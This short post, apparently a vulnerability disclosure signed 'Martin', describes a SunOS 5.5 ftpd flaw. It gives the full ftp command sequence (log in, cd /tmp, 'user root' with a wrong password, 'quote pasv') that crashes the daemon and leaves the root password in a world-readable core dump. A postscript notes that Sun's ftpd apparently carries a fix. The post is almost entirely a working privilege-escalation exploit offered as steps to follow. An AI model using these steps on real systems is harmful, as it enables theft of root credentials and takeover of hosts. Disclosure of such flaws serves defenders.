SunOS 5.5:





logon via ftp with your regular user/password,


ftp> cd /tmp


ftp> user root wrongpasswd


ftp> quote pasv





voila, root password in world readable core dump under /tmp





-Martin





PS: Sun's ftpd doesn't core when issuing "quote pasv" before logon,


    so the seem to have used the proposed fix